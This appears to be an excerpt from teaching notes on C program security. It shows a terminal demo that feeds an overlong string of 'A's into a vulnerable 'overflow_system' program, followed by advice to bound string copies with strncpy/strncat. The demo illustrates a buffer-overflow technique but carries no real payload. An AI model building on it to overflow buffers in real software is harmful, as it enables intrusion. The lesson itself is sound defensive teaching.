aviv@saddleback: demo $ python -c "print 'A'*50" | ./overflow_system What input do you want to 'cat' (choose from below) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA cat cat.c execvp_cat execvp_cat.c inject_system inject_system.c inject_system.c~ input.txt Makefile mal-lib overflow_system overflow_system.c overflow_system.c~ run_foo run_foo.c run_foo.o setenv_cat setenv_cat.c setenv_cat.c~ shared-lib system_cat system_cat.c #system-ex.c# input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Goodbye World
How do we fix overflow bugs? The most direct way is to always bound
checks on strings. For example, always use strncp()
or strncat()
,
but that is even sometimes not sufficient. In the end, it requires
good programmers who understand security and can identify bad
programming practices. This is just a small set of examples of bad
programs.